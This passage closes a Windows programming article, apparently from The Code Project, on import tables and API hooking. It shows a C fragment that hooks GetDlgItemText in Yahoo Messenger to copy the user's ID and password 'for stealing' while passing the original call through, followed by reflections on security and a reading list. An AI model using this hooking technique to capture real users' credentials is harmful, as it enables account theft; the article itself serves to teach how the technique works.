    CHAR pPassword[127];

    switch(nIDDlgItem)
    {
    case 211: // Yahoo ID
        GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing
        // ...
        GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate
                                                              //the original
        break;

    case 212: // Password
        GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing
        // ...
        GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate
                                                              //the original
        break;

    default:
        GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate
                                                              //the original
    }

Figure 14 - Hooking Yahoo Messenger

Now I believe there is no safety. Someone can steal my Yahoo ID and its password with a few piece of code. We live in an insecure world!
7. Consequences

The Import Table is essentially part of a Windows executable file. The knowledge of the import table performance helps us to realize how API is requested during runtime. You can redirect the import table to another executable memory inside the current process memory to prevent reverse activity with your own PE loader and also to hook the API functions. It is possible to modify the import table of a process in runtime by freezing and unfreezing the process from outside; this disaster forces us to think more concerning security equipment (like antivirus, firewall, etc.). Nevertheless, they do not have any lasting benefits with the new methods which every day appear. Moreover, this conception aids us to establish our virtual machine monitor to run the Windows executable file inside a separated environment inside Windows or Linux. Consequently, I do not need a Windows System anymore to run my Windows EXE files!

    Read more:
    Inject your code to a Portable Executable file, The Code Project, December 2005.
    Capturing Window Controls and Modifying their properties, The Code Project, February 2005.
    Three Ways to Inject Your Code into Another Process, Robert Kuster , The Code Project, July 2003.
    Documents:
    Undocumented Windows® 2000 Secrets: A Programmer's Cookbook, Sven B. Schreiber, Addison-Wesley, July 2001, ISBN 0-201-72187-2.
    Undocumented Functions for Microsoft® Windows® NT®/ 2000, Tomasz Nowak and others, NTInternals team, 1999-2005.
    Links:
    NTCore, System and Security team.
    Rootkit, The Online Rootkit Magazine.

License

This article, along with any associated source code and files, is licensed under The GNU General Public License (GPLv3)